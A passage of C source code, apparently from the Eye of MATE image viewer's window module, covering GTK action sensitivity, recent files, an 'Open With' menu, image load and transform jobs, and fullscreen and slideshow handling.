gtk_action_group_set_sensitive (priv->actions_image, FALSE); gtk_action_group_set_sensitive (priv->actions_collection, FALSE); gtk_action_set_sensitive (action_fscreen, FALSE); gtk_action_set_sensitive (action_sshow, FALSE); /* If there are no images on model, initialization stops here. */ if (priv->status == EOM_WINDOW_STATUS_INIT) { priv->status = EOM_WINDOW_STATUS_NORMAL; } } else { if (priv->flags & EOM_STARTUP_DISABLE_COLLECTION) { g_settings_set_boolean (priv->ui_settings, EOM_CONF_UI_IMAGE_COLLECTION, FALSE); show_image_collection = FALSE; } else { show_image_collection = g_settings_get_boolean (priv->ui_settings, EOM_CONF_UI_IMAGE_COLLECTION); } show_image_collection = show_image_collection && n_images > 1 && priv->mode != EOM_WINDOW_MODE_SLIDESHOW; gtk_widget_show (priv->layout); if (show_image_collection) gtk_widget_show (priv->nav); gtk_toggle_action_set_active (GTK_TOGGLE_ACTION (action_collection), show_image_collection); gtk_action_group_set_sensitive (priv->actions_window, TRUE); gtk_action_group_set_sensitive (priv->actions_image, TRUE); gtk_action_set_sensitive (action_fscreen, TRUE); if (n_images == 1) { gtk_action_group_set_sensitive (priv->actions_collection, FALSE); gtk_action_set_sensitive (action_collection, FALSE); gtk_action_set_sensitive (action_sshow, FALSE); } else { gtk_action_group_set_sensitive (priv->actions_collection, TRUE); gtk_action_set_sensitive (action_sshow, TRUE); } if (show_image_collection) gtk_widget_grab_focus (priv->thumbview); else gtk_widget_grab_focus (priv->view); } print_disabled = g_settings_get_boolean (priv->lockdown_settings, EOM_CONF_LOCKDOWN_CAN_PRINT); if (print_disabled) { gtk_action_set_sensitive (action_print, FALSE); } if (eom_sidebar_is_empty (EOM_SIDEBAR (priv->sidebar))) { gtk_action_set_sensitive (action_sidebar, FALSE); gtk_widget_hide (priv->sidebar); } } static void update_selection_ui_visibility (EomWindow *window) { EomWindowPrivate *priv; GtkAction *wallpaper_action; gint n_selected; priv = window->priv; n_selected = eom_thumb_view_get_n_selected (EOM_THUMB_VIEW (priv->thumbview)); wallpaper_action = gtk_action_group_get_action (priv->actions_image, "ImageSetAsWallpaper"); if (n_selected == 1) { gtk_action_set_sensitive (wallpaper_action, TRUE); } else { gtk_action_set_sensitive (wallpaper_action, FALSE); } } static gboolean add_file_to_recent_files (GFile *file) { gchar *text_uri; GFileInfo *file_info; GtkRecentData *recent_data; static gchar *groups[2] = { EOM_RECENT_FILES_GROUP , NULL }; if (file == NULL) return FALSE; /* The password gets stripped here because ~/.recently-used.xbel is * readable by everyone (chmod 644). It also makes the workaround * for the bug with gtk_recent_info_get_uri_display() easier * (see the comment in eom_window_update_recent_files_menu()). */ text_uri = g_file_get_uri (file); if (text_uri == NULL) return FALSE; file_info = g_file_query_info (file, G_FILE_ATTRIBUTE_STANDARD_CONTENT_TYPE, 0, NULL, NULL); if (file_info == NULL) return FALSE; recent_data = g_slice_new (GtkRecentData); recent_data->display_name = NULL; recent_data->description = NULL; recent_data->mime_type = (gchar *) g_file_info_get_content_type (file_info); recent_data->app_name = EOM_RECENT_FILES_APP_NAME; recent_data->app_exec = g_strjoin(" ", g_get_prgname (), "%u", NULL); recent_data->groups = groups; recent_data->is_private = FALSE; gtk_recent_manager_add_full (gtk_recent_manager_get_default (), text_uri, recent_data); g_free (recent_data->app_exec); g_free (text_uri); g_object_unref (file_info); g_slice_free (GtkRecentData, recent_data); return FALSE; } static void image_thumb_changed_cb (EomImage *image, gpointer data) { EomWindow *window; EomWindowPrivate *priv; GdkPixbuf *thumb; g_return_if_fail (EOM_IS_WINDOW (data)); window = EOM_WINDOW (data); priv = window->priv; thumb = eom_image_get_thumbnail (image); if (thumb != NULL) { gtk_window_set_icon (GTK_WINDOW (window), thumb); if (window->priv->properties_dlg != NULL) { eom_properties_dialog_update (EOM_PROPERTIES_DIALOG (priv->properties_dlg), image); } g_object_unref (thumb); } else if (!gtk_widget_get_visible (window->priv->nav)) { gint img_pos = eom_list_store_get_pos_by_image (window->priv->store, image); GtkTreePath *path = gtk_tree_path_new_from_indices (img_pos,-1); GtkTreeIter iter; gtk_tree_model_get_iter (GTK_TREE_MODEL (window->priv->store), &iter, path); eom_list_store_thumbnail_set (window->priv->store, &iter); gtk_tree_path_free (path); } } static void file_changed_info_bar_response (GtkInfoBar *info_bar, gint response, EomWindow *window) { if (response == GTK_RESPONSE_YES) { eom_window_reload_image (window); } window->priv->needs_reload_confirmation = TRUE; eom_window_set_message_area (window, NULL); } static void image_file_changed_cb (EomImage *img, EomWindow *window) { GtkWidget *info_bar; gchar *text, *markup; GtkWidget *image; GtkWidget *label; GtkWidget *hbox; if (window->priv->needs_reload_confirmation == FALSE) return; window->priv->needs_reload_confirmation = FALSE; info_bar = gtk_info_bar_new_with_buttons (_("_Reload"), GTK_RESPONSE_YES, C_("MessageArea", "Hi_de"), GTK_RESPONSE_NO, NULL); gtk_info_bar_set_message_type (GTK_INFO_BAR (info_bar), GTK_MESSAGE_QUESTION); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); label = gtk_label_new (NULL); /* The newline character is currently necessary due to a problem * with the automatic line break. */ text = g_strdup_printf (_("The image \"%s\" has been modified by an external application." "\nWould you like to reload it?"), eom_image_get_caption (img)); markup = g_markup_printf_escaped ("<b>%s</b>", text); gtk_label_set_markup (GTK_LABEL (label), markup); g_free (text); g_free (markup); hbox = gtk_hbox_new (FALSE, 8); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 0); #if GTK_CHECK_VERSION (3, 14, 0) gtk_widget_set_valign (image, GTK_ALIGN_START); gtk_box_pack_start (GTK_BOX (hbox), label, TRUE, TRUE, 0); gtk_widget_set_halign (label, GTK_ALIGN_START); #else gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0); gtk_box_pack_start (GTK_BOX (hbox), label, TRUE, TRUE, 0); gtk_misc_set_alignment (GTK_MISC (label), 0, 0.5); #endif gtk_box_pack_start (GTK_BOX (gtk_info_bar_get_content_area (GTK_INFO_BAR (info_bar))), hbox, TRUE, TRUE, 0); gtk_widget_show_all (hbox); gtk_widget_show (info_bar); eom_window_set_message_area (window, info_bar); g_signal_connect (info_bar, "response", G_CALLBACK (file_changed_info_bar_response), window); } static void eom_window_display_image (EomWindow *window, EomImage *image) { EomWindowPrivate *priv; GFile *file; g_return_if_fail (EOM_IS_WINDOW (window)); g_return_if_fail (EOM_IS_IMAGE (image)); eom_debug (DEBUG_WINDOW); g_assert (eom_image_has_data (image, EOM_IMAGE_DATA_IMAGE)); priv = window->priv; if (image != NULL) { g_signal_connect (image, "thumbnail_changed", G_CALLBACK (image_thumb_changed_cb), window); g_signal_connect (image, "file-changed", G_CALLBACK (image_file_changed_cb), window); image_thumb_changed_cb (image, window); } priv->needs_reload_confirmation = TRUE; eom_scroll_view_set_image (EOM_SCROLL_VIEW (priv->view), image); gtk_window_set_title (GTK_WINDOW (window), eom_image_get_caption (image)); update_status_bar (window); file = eom_image_get_file (image); g_idle_add_full (G_PRIORITY_LOW, (GSourceFunc) add_file_to_recent_files, file, (GDestroyNotify) g_object_unref); eom_window_update_openwith_menu (window, image); } static void open_with_launch_application_cb (GtkAction *action, gpointer data) { EomImage *image; GAppInfo *app; GFile *file; GList *files = NULL; image = EOM_IMAGE (data); file = eom_image_get_file (image); app = g_object_get_data (G_OBJECT (action), "app"); files = g_list_append (files, file); g_app_info_launch (app, files, NULL, NULL); g_object_unref (file); g_list_free (files); } static void eom_window_update_openwith_menu (EomWindow *window, EomImage *image) { gboolean edit_button_active; GAppInfo *editor_app; GFile *file; GFileInfo *file_info; GList *iter; gchar *label, *tip; const gchar *mime_type; GtkAction *action; EomWindowPrivate *priv; GList *apps; guint action_id = 0; GIcon *app_icon; char *path; GtkWidget *menuitem; priv = window->priv; edit_button_active = FALSE; editor_app = get_appinfo_for_editor (window); file = eom_image_get_file (image); file_info = g_file_query_info (file, G_FILE_ATTRIBUTE_STANDARD_CONTENT_TYPE, 0, NULL, NULL); if (file_info == NULL) return; else { mime_type = g_file_info_get_content_type (file_info); } if (priv->open_with_menu_id != 0) { gtk_ui_manager_remove_ui (priv->ui_mgr, priv->open_with_menu_id); priv->open_with_menu_id = 0; } if (priv->actions_open_with != NULL) { gtk_ui_manager_remove_action_group (priv->ui_mgr, priv->actions_open_with); priv->actions_open_with = NULL; } if (mime_type == NULL) { g_object_unref (file_info); return; } apps = g_app_info_get_all_for_type (mime_type); g_object_unref (file_info); if (!apps) return; priv->actions_open_with = gtk_action_group_new ("OpenWithActions"); gtk_ui_manager_insert_action_group (priv->ui_mgr, priv->actions_open_with, -1); priv->open_with_menu_id = gtk_ui_manager_new_merge_id (priv->ui_mgr); for (iter = apps; iter; iter = iter->next) { GAppInfo *app = iter->data; gchar name[64]; if (editor_app != NULL && g_app_info_equal (editor_app, app)) { edit_button_active = TRUE; } /* Do not include eom itself */ if (g_ascii_strcasecmp (g_app_info_get_executable (app), g_get_prgname ()) == 0) { g_object_unref (app); continue; } g_snprintf (name, sizeof (name), "OpenWith%u", action_id++); label = g_strdup (g_app_info_get_name (app)); tip = g_strdup_printf (_("Use \"%s\" to open the selected image"), g_app_info_get_name (app)); action = gtk_action_new (name, label, tip, NULL); app_icon = g_app_info_get_icon (app); if (G_LIKELY (app_icon != NULL)) { g_object_ref (app_icon); gtk_action_set_gicon (action, app_icon); g_object_unref (app_icon); } g_free (label); g_free (tip); g_object_set_data_full (G_OBJECT (action), "app", app, (GDestroyNotify) g_object_unref); g_signal_connect (action, "activate", G_CALLBACK (open_with_launch_application_cb), image); gtk_action_group_add_action (priv->actions_open_with, action); g_object_unref (action); gtk_ui_manager_add_ui (priv->ui_mgr, priv->open_with_menu_id, "/MainMenu/Image/ImageOpenWith/Applications Placeholder", name, name, GTK_UI_MANAGER_MENUITEM, FALSE); gtk_ui_manager_add_ui (priv->ui_mgr, priv->open_with_menu_id, "/ThumbnailPopup/ImageOpenWith/Applications Placeholder", name, name, GTK_UI_MANAGER_MENUITEM, FALSE); gtk_ui_manager_add_ui (priv->ui_mgr, priv->open_with_menu_id, "/ViewPopup/ImageOpenWith/Applications Placeholder", name, name, GTK_UI_MANAGER_MENUITEM, FALSE); path = g_strdup_printf ("/MainMenu/Image/ImageOpenWith/Applications Placeholder/%s", name); menuitem = gtk_ui_manager_get_widget (priv->ui_mgr, path); /* Only force displaying the icon if it is an application icon */ gtk_image_menu_item_set_always_show_image (GTK_IMAGE_MENU_ITEM (menuitem), app_icon != NULL); g_free (path); path = g_strdup_printf ("/ThumbnailPopup/ImageOpenWith/Applications Placeholder/%s", name); menuitem = gtk_ui_manager_get_widget (priv->ui_mgr, path); /* Only force displaying the icon if it is an application icon */ gtk_image_menu_item_set_always_show_image (GTK_IMAGE_MENU_ITEM (menuitem), app_icon != NULL); g_free (path); path = g_strdup_printf ("/ViewPopup/ImageOpenWith/Applications Placeholder/%s", name); menuitem = gtk_ui_manager_get_widget (priv->ui_mgr, path); /* Only force displaying the icon if it is an application icon */ gtk_image_menu_item_set_always_show_image (GTK_IMAGE_MENU_ITEM (menuitem), app_icon != NULL); g_free (path); } g_list_free (apps); action = gtk_action_group_get_action (window->priv->actions_image, "OpenEditor"); if (action != NULL) { gtk_action_set_sensitive (action, edit_button_active); } } static void eom_window_clear_load_job (EomWindow *window) { EomWindowPrivate *priv = window->priv; if (priv->load_job != NULL) { if (!priv->load_job->finished) eom_job_queue_remove_job (priv->load_job); g_signal_handlers_disconnect_by_func (priv->load_job, eom_job_progress_cb, window); g_signal_handlers_disconnect_by_func (priv->load_job, eom_job_load_cb, window); eom_image_cancel_load (EOM_JOB_LOAD (priv->load_job)->image); g_object_unref (priv->load_job); priv->load_job = NULL; /* Hide statusbar */ eom_statusbar_set_progress (EOM_STATUSBAR (priv->statusbar), 0); } } static void eom_job_progress_cb (EomJobLoad *job, float progress, gpointer user_data) { EomWindow *window; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); eom_statusbar_set_progress (EOM_STATUSBAR (window->priv->statusbar), progress); } static void eom_job_save_progress_cb (EomJobSave *job, float progress, gpointer user_data) { EomWindowPrivate *priv; EomWindow *window; static EomImage *image = NULL; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); priv = window->priv; eom_statusbar_set_progress (EOM_STATUSBAR (priv->statusbar), progress); if (image != job->current_image) { gchar *str_image, *status_message; guint n_images; image = job->current_image; n_images = g_list_length (job->images); str_image = eom_image_get_uri_for_display (image); /* Translators: This string is displayed in the statusbar * while saving images. The tokens are from left to right: * - the original filename * - the current image's position in the queue * - the total number of images queued for saving */ status_message = g_strdup_printf (_("Saving image \"%s\" (%u/%u)"), str_image, job->current_pos + 1, n_images); g_free (str_image); gtk_statusbar_pop (GTK_STATUSBAR (priv->statusbar), priv->image_info_message_cid); gtk_statusbar_push (GTK_STATUSBAR (priv->statusbar), priv->image_info_message_cid, status_message); g_free (status_message); } if (progress == 1.0) image = NULL; } static void eom_window_obtain_desired_size (EomImage *image, gint width, gint height, EomWindow *window) { GdkScreen *screen; GdkRectangle monitor; GtkAllocation allocation; gint final_width, final_height; gint screen_width, screen_height; gint window_width, window_height; gint img_width, img_height; gint view_width, view_height; gint deco_width, deco_height; update_action_groups_state (window); img_width = width; img_height = height; if (!gtk_widget_get_realized (window->priv->view)) { gtk_widget_realize (window->priv->view); } gtk_widget_get_allocation (window->priv->view, &allocation); view_width = allocation.width; view_height = allocation.height; if (!gtk_widget_get_realized (GTK_WIDGET (window))) { gtk_widget_realize (GTK_WIDGET (window)); } gtk_widget_get_allocation (GTK_WIDGET (window), &allocation); window_width = allocation.width; window_height = allocation.height; screen = gtk_window_get_screen (GTK_WINDOW (window)); gdk_screen_get_monitor_geometry (screen, gdk_screen_get_monitor_at_window (screen, gtk_widget_get_window (GTK_WIDGET (window))), &monitor); screen_width = monitor.width; screen_height = monitor.height; deco_width = window_width - view_width; deco_height = window_height - view_height; if (img_width > 0 && img_height > 0) { if ((img_width + deco_width > screen_width) || (img_height + deco_height > screen_height)) { double factor; if (img_width > img_height) { factor = (screen_width * 0.75 - deco_width) / (double) img_width; } else { factor = (screen_height * 0.75 - deco_height) / (double) img_height; } img_width = img_width * factor; img_height = img_height * factor; } } final_width = MAX (EOM_WINDOW_MIN_WIDTH, img_width + deco_width); final_height = MAX (EOM_WINDOW_MIN_HEIGHT, img_height + deco_height); eom_debug_message (DEBUG_WINDOW, "Setting window size: %d x %d", final_width, final_height); gtk_window_set_default_size (GTK_WINDOW (window), final_width, final_height); g_signal_emit (window, signals[SIGNAL_PREPARED], 0); } static void eom_window_error_message_area_response (GtkInfoBar *message_area, gint response_id, EomWindow *window) { if (response_id != GTK_RESPONSE_OK) { eom_window_set_message_area (window, NULL); return; } /* Trigger loading for current image again */ eom_thumb_view_select_single (EOM_THUMB_VIEW (window->priv->thumbview), EOM_THUMB_VIEW_SELECT_CURRENT); } static void eom_job_load_cb (EomJobLoad *job, gpointer data) { EomWindow *window; EomWindowPrivate *priv; GtkAction *action_undo, *action_save; g_return_if_fail (EOM_IS_WINDOW (data)); eom_debug (DEBUG_WINDOW); window = EOM_WINDOW (data); priv = window->priv; eom_statusbar_set_progress (EOM_STATUSBAR (priv->statusbar), 0.0); gtk_statusbar_pop (GTK_STATUSBAR (window->priv->statusbar), priv->image_info_message_cid); if (priv->image != NULL) { g_signal_handlers_disconnect_by_func (priv->image, image_thumb_changed_cb, window); g_signal_handlers_disconnect_by_func (priv->image, image_file_changed_cb, window); g_object_unref (priv->image); } priv->image = g_object_ref (job->image); if (EOM_JOB (job)->error == NULL) { #ifdef HAVE_LCMS eom_image_apply_display_profile (job->image, priv->display_profile); #endif gtk_action_group_set_sensitive (priv->actions_image, TRUE); eom_window_display_image (window, job->image); } else { GtkWidget *message_area; message_area = eom_image_load_error_message_area_new ( eom_image_get_caption (job->image), EOM_JOB (job)->error); g_signal_connect (message_area, "response", G_CALLBACK (eom_window_error_message_area_response), window); gtk_window_set_icon (GTK_WINDOW (window), NULL); gtk_window_set_title (GTK_WINDOW (window), eom_image_get_caption (job->image)); eom_window_set_message_area (window, message_area); gtk_info_bar_set_default_response (GTK_INFO_BAR (message_area), GTK_RESPONSE_CANCEL); gtk_widget_show (message_area); update_status_bar (window); eom_scroll_view_set_image (EOM_SCROLL_VIEW (priv->view), NULL); if (window->priv->status == EOM_WINDOW_STATUS_INIT) { update_action_groups_state (window); g_signal_emit (window, signals[SIGNAL_PREPARED], 0); } gtk_action_group_set_sensitive (priv->actions_image, FALSE); } eom_window_clear_load_job (window); if (window->priv->status == EOM_WINDOW_STATUS_INIT) { window->priv->status = EOM_WINDOW_STATUS_NORMAL; g_signal_handlers_disconnect_by_func (job->image, G_CALLBACK (eom_window_obtain_desired_size), window); } action_save = gtk_action_group_get_action (priv->actions_image, "ImageSave"); action_undo = gtk_action_group_get_action (priv->actions_image, "EditUndo"); /* Set Save and Undo sensitive according to image state. * Respect lockdown in case of Save.*/ gtk_action_set_sensitive (action_save, (!priv->save_disabled && eom_image_is_modified (job->image))); gtk_action_set_sensitive (action_undo, eom_image_is_modified (job->image)); g_object_unref (job->image); } static void eom_window_clear_transform_job (EomWindow *window) { EomWindowPrivate *priv = window->priv; if (priv->transform_job != NULL) { if (!priv->transform_job->finished) eom_job_queue_remove_job (priv->transform_job); g_signal_handlers_disconnect_by_func (priv->transform_job, eom_job_transform_cb, window); g_object_unref (priv->transform_job); priv->transform_job = NULL; } } static void eom_job_transform_cb (EomJobTransform *job, gpointer data) { EomWindow *window; GtkAction *action_undo, *action_save; EomImage *image; g_return_if_fail (EOM_IS_WINDOW (data)); window = EOM_WINDOW (data); eom_window_clear_transform_job (window); action_undo = gtk_action_group_get_action (window->priv->actions_image, "EditUndo"); action_save = gtk_action_group_get_action (window->priv->actions_image, "ImageSave"); image = eom_window_get_image (window); gtk_action_set_sensitive (action_undo, eom_image_is_modified (image)); if (!window->priv->save_disabled) { gtk_action_set_sensitive (action_save, eom_image_is_modified (image)); } } static void apply_transformation (EomWindow *window, EomTransform *trans) { EomWindowPrivate *priv; GList *images; g_return_if_fail (EOM_IS_WINDOW (window)); priv = window->priv; images = eom_thumb_view_get_selected_images (EOM_THUMB_VIEW (priv->thumbview)); eom_window_clear_transform_job (window); priv->transform_job = eom_job_transform_new (images, trans); g_signal_connect (priv->transform_job, "finished", G_CALLBACK (eom_job_transform_cb), window); g_signal_connect (priv->transform_job, "progress", G_CALLBACK (eom_job_progress_cb), window); eom_job_queue_add_job (priv->transform_job); } static void handle_image_selection_changed_cb (EomThumbView *thumbview, EomWindow *window) { EomWindowPrivate *priv; EomImage *image; gchar *status_message; gchar *str_image; priv = window->priv; if (eom_list_store_length (EOM_LIST_STORE (priv->store)) == 0) { gtk_window_set_title (GTK_WINDOW (window), g_get_application_name()); gtk_statusbar_remove_all (GTK_STATUSBAR (priv->statusbar), priv->image_info_message_cid); eom_scroll_view_set_image (EOM_SCROLL_VIEW (priv->view), NULL); } if (eom_thumb_view_get_n_selected (EOM_THUMB_VIEW (priv->thumbview)) == 0) return; update_selection_ui_visibility (window); image = eom_thumb_view_get_first_selected_image (EOM_THUMB_VIEW (priv->thumbview)); g_assert (EOM_IS_IMAGE (image)); eom_window_clear_load_job (window); eom_window_set_message_area (window, NULL); gtk_statusbar_pop (GTK_STATUSBAR (priv->statusbar), priv->image_info_message_cid); if (image == priv->image) { update_status_bar (window); return; } if (eom_image_has_data (image, EOM_IMAGE_DATA_IMAGE)) { if (priv->image != NULL) g_object_unref (priv->image); priv->image = image; eom_window_display_image (window, image); return; } if (priv->status == EOM_WINDOW_STATUS_INIT) { g_signal_connect (image, "size-prepared", G_CALLBACK (eom_window_obtain_desired_size), window); } priv->load_job = eom_job_load_new (image, EOM_IMAGE_DATA_ALL); g_signal_connect (priv->load_job, "finished", G_CALLBACK (eom_job_load_cb), window); g_signal_connect (priv->load_job, "progress", G_CALLBACK (eom_job_progress_cb), window); eom_job_queue_add_job (priv->load_job); str_image = eom_image_get_uri_for_display (image); status_message = g_strdup_printf (_("Opening image \"%s\""), str_image); g_free (str_image); gtk_statusbar_push (GTK_STATUSBAR (priv->statusbar), priv->image_info_message_cid, status_message); g_free (status_message); } static void view_zoom_changed_cb (GtkWidget *widget, double zoom, gpointer user_data) { EomWindow *window; GtkAction *action_zoom_in; GtkAction *action_zoom_out; g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); update_status_bar (window); action_zoom_in = gtk_action_group_get_action (window->priv->actions_image, "ViewZoomIn"); action_zoom_out = gtk_action_group_get_action (window->priv->actions_image, "ViewZoomOut"); gtk_action_set_sensitive (action_zoom_in, !eom_scroll_view_get_zoom_is_max (EOM_SCROLL_VIEW (window->priv->view))); gtk_action_set_sensitive (action_zoom_out, !eom_scroll_view_get_zoom_is_min (EOM_SCROLL_VIEW (window->priv->view))); } static void eom_window_open_recent_cb (GtkAction *action, EomWindow *window) { GtkRecentInfo *info; const gchar *uri; GSList *list = NULL; info = g_object_get_data (G_OBJECT (action), "gtk-recent-info"); g_return_if_fail (info != NULL); uri = gtk_recent_info_get_uri (info); list = g_slist_prepend (list, g_strdup (uri)); eom_application_open_uri_list (EOM_APP, list, GDK_CURRENT_TIME, 0, NULL); g_slist_foreach (list, (GFunc) g_free, NULL); g_slist_free (list); } static void file_open_dialog_response_cb (GtkWidget *chooser, gint response_id, EomWindow *ev_window) { if (response_id == GTK_RESPONSE_OK) { GSList *uris; uris = gtk_file_chooser_get_uris (GTK_FILE_CHOOSER (chooser)); eom_application_open_uri_list (EOM_APP, uris, GDK_CURRENT_TIME, 0, NULL); g_slist_foreach (uris, (GFunc) g_free, NULL); g_slist_free (uris); } gtk_widget_destroy (chooser); } static void eom_window_update_fullscreen_action (EomWindow *window) { GtkAction *action; action = gtk_action_group_get_action (window->priv->actions_image, "ViewFullscreen"); g_signal_handlers_block_by_func (action, G_CALLBACK (eom_window_cmd_fullscreen), window); gtk_toggle_action_set_active (GTK_TOGGLE_ACTION (action), window->priv->mode == EOM_WINDOW_MODE_FULLSCREEN); g_signal_handlers_unblock_by_func (action, G_CALLBACK (eom_window_cmd_fullscreen), window); } static void eom_window_update_slideshow_action (EomWindow *window) { GtkAction *action; action = gtk_action_group_get_action (window->priv->actions_collection, "ViewSlideshow"); g_signal_handlers_block_by_func (action, G_CALLBACK (eom_window_cmd_slideshow), window); gtk_toggle_action_set_active (GTK_TOGGLE_ACTION (action), window->priv->mode == EOM_WINDOW_MODE_SLIDESHOW); g_signal_handlers_unblock_by_func (action, G_CALLBACK (eom_window_cmd_slideshow), window); } static void eom_window_update_pause_slideshow_action (EomWindow *window) { GtkAction *action; action = gtk_action_group_get_action (window->priv->actions_image, "PauseSlideshow"); g_signal_handlers_block_by_func (action, G_CALLBACK (eom_window_cmd_pause_slideshow), window); gtk_toggle_action_set_active (GTK_TOGGLE_ACTION (action), window->priv->mode != EOM_WINDOW_MODE_SLIDESHOW); g_signal_handlers_unblock_by_func (action, G_CALLBACK (eom_window_cmd_pause_slideshow), window); } static void eom_window_update_fullscreen_popup (EomWindow *window) { GtkWidget *popup = window->priv->fullscreen_popup; GdkRectangle screen_rect; GdkScreen *screen; g_return_if_fail (popup != NULL); if (gtk_widget_get_window (GTK_WIDGET (window)) == NULL) return; screen = gtk_widget_get_screen (GTK_WIDGET (window)); gdk_screen_get_monitor_geometry (screen, gdk_screen_get_monitor_at_window (screen, gtk_widget_get_window (GTK_WIDGET (window))), &screen_rect); gtk_widget_set_size_request (popup, screen_rect.width, -1); gtk_window_move (GTK_WINDOW (popup), screen_rect.x, screen_rect.y); } static void screen_size_changed_cb (GdkScreen *screen, EomWindow *window) { eom_window_update_fullscreen_popup (window); } static void fullscreen_popup_size_request_cb (GtkWidget *popup, GtkRequisition *req, EomWindow *window) { eom_window_update_fullscreen_popup (window); } static gboolean fullscreen_timeout_cb (gpointer data) { EomWindow *window = EOM_WINDOW (data); gtk_widget_hide (window->priv->fullscreen_popup); eom_scroll_view_hide_cursor (EOM_SCROLL_VIEW (window->priv->view)); fullscreen_clear_timeout (window); return FALSE; } static gboolean slideshow_is_loop_end (EomWindow *window) { EomWindowPrivate *priv = window->priv; EomImage *image = NULL; gint pos; image = eom_thumb_view_get_first_selected_image (EOM_THUMB_VIEW (priv->thumbview)); pos = eom_list_store_get_pos_by_image (priv->store, image); return (pos == (eom_list_store_length (priv->store) - 1)); } static gboolean slideshow_switch_cb (gpointer data) { EomWindow *window = EOM_WINDOW (data); EomWindowPrivate *priv = window->priv; eom_debug (DEBUG_WINDOW); if (priv->slideshow_random) { eom_thumb_view_select_single (EOM_THUMB_VIEW (priv->thumbview), EOM_THUMB_VIEW_SELECT_RANDOM); return TRUE; } if (!priv->slideshow_loop && slideshow_is_loop_end (window)) { eom_window_stop_fullscreen (window, TRUE); return FALSE; } eom_thumb_view_select_single (EOM_THUMB_VIEW (priv->thumbview), EOM_THUMB_VIEW_SELECT_RIGHT); return TRUE; } static void fullscreen_clear_timeout (EomWindow *window) { eom_debug (DEBUG_WINDOW); if (window->priv->fullscreen_timeout_source != NULL) { g_source_unref (window->priv->fullscreen_timeout_source); g_source_destroy (window->priv->fullscreen_timeout_source); } window->priv->fullscreen_timeout_source = NULL; } static void fullscreen_set_timeout (EomWindow *window) { GSource *source; eom_debug (DEBUG_WINDOW); fullscreen_clear_timeout (window); source = g_timeout_source_new (EOM_WINDOW_FULLSCREEN_TIMEOUT); g_source_set_callback (source, fullscreen_timeout_cb, window, NULL); g_source_attach (source, NULL); window->priv->fullscreen_timeout_source = source; eom_scroll_view_show_cursor (EOM_SCROLL_VIEW (window->priv->view)); } static void slideshow_clear_timeout (EomWindow *window) { eom_debug (DEBUG_WINDOW); if (window->priv->slideshow_switch_source != NULL) { g_source_unref (window->priv->slideshow_switch_source); g_source_destroy (window->priv->slideshow_switch_source); } window->priv->slideshow_switch_source = NULL; } static void slideshow_set_timeout (EomWindow *window) { GSource *source; eom_debug (DEBUG_WINDOW); slideshow_clear_timeout (window); if (window->priv->slideshow_switch_timeout <= 0) return; source = g_timeout_source_new (window->priv->slideshow_switch_timeout * 1000); g_source_set_callback (source, slideshow_switch_cb, window, NULL); g_source_attach (source, NULL); window->priv->slideshow_switch_source = source; } static void show_fullscreen_popup (EomWindow *window) { eom_debug (DEBUG_WINDOW); if (!gtk_widget_get_visible (window->priv->fullscreen_popup)) { gtk_widget_show_all (GTK_WIDGET (window->priv->fullscreen_popup)); } fullscreen_set_timeout (window); } static gboolean fullscreen_motion_notify_cb (GtkWidget *widget, GdkEventMotion *event, gpointer user_data) { EomWindow *window = EOM_WINDOW (user_data); eom_debug (DEBUG_WINDOW); if (event->y < EOM_WINDOW_FULLSCREEN_POPUP_THRESHOLD) { show_fullscreen_popup (window); } else { fullscreen_set_timeout (window); } return FALSE; } static gboolean fullscreen_leave_notify_cb (GtkWidget *widget, GdkEventCrossing *event, gpointer user_data) { EomWindow *window = EOM_WINDOW (user_data); eom_debug (DEBUG_WINDOW); fullscreen_clear_timeout (window); return FALSE; } static void exit_fullscreen_button_clicked_cb (GtkWidget *button, EomWindow *window) { GtkAction *action; eom_debug (DEBUG_WINDOW); if (window->priv->mode == EOM_WINDOW_MODE_SLIDESHOW) { action = gtk_action_group_get_action (window->priv->actions_collection, "ViewSlideshow"); } else { action = gtk_action_group_get_action (window->priv->actions_image, "ViewFullscreen"); } g_return_if_fail (action != NULL); gtk_toggle_action_set_active (GTK_TOGGLE_ACTION (action), FALSE); } static GtkWidget * eom_window_get_exit_fullscreen_button (EomWindow *window) { GtkWidget *button; button = gtk_button_new_from_stock (GTK_STOCK_LEAVE_FULLSCREEN); g_signal_connect (button, "clicked", G_CALLBACK (exit_fullscreen_button_clicked_cb), window); return button; } static GtkWidget * eom_window_create_fullscreen_popup (EomWindow *window) { GtkWidget *popup; GtkWidget *hbox; GtkWidget *button; GtkWidget *toolbar; GdkScreen *screen; eom_debug (DEBUG_WINDOW); popup = gtk_window_new (GTK_WINDOW_POPUP); hbox = gtk_hbox_new (FALSE, 0); gtk_container_add (GTK_CONTAINER (popup), hbox); toolbar = gtk_ui_manager_get_widget (window->priv->ui_mgr, "/FullscreenToolbar"); g_assert (GTK_IS_WIDGET (toolbar)); gtk_toolbar_set_style (GTK_TOOLBAR (toolbar), GTK_TOOLBAR_ICONS); gtk_box_pack_start (GTK_BOX (hbox), toolbar, TRUE, TRUE, 0); button = eom_window_get_exit_fullscreen_button (window); gtk_box_pack_start (GTK_BOX (hbox), button, FALSE, FALSE, 0); gtk_window_set_resizable (GTK_WINDOW (popup), FALSE); screen = gtk_widget_get_screen (GTK_WIDGET (window)); g_signal_connect_object (screen, "size-changed", G_CALLBACK (screen_size_changed_cb), window, 0); g_signal_connect_object (popup, "size_request", G_CALLBACK (fullscreen_popup_size_request_cb), window, 0); g_signal_connect (popup, "enter-notify-event", G_CALLBACK (fullscreen_leave_notify_cb), window); gtk_window_set_screen (GTK_WINDOW (popup), screen); return popup; } static void update_ui_visibility (EomWindow *window) { EomWindowPrivate *priv; GtkAction *action; GtkWidget *menubar; gboolean fullscreen_mode, visible; g_return_if_fail (EOM_IS_WINDOW (window)); eom_debug (DEBUG_WINDOW); priv = window->priv; fullscreen_mode = priv->mode == EOM_WINDOW_MODE_FULLSCREEN || priv->mode == EOM_WINDOW_MODE_SLIDESHOW; menubar = gtk_ui_manager_get_widget (priv->ui_mgr, "/MainMenu"); g_assert (GTK_IS_WIDGET (menubar)); visible = g_settings_get_boolean (priv->ui_settings, EOM_CONF_UI_TOOLBAR); visible = visible && !fullscreen_mode; action = gtk_ui_manager_get_action (priv->ui_mgr, 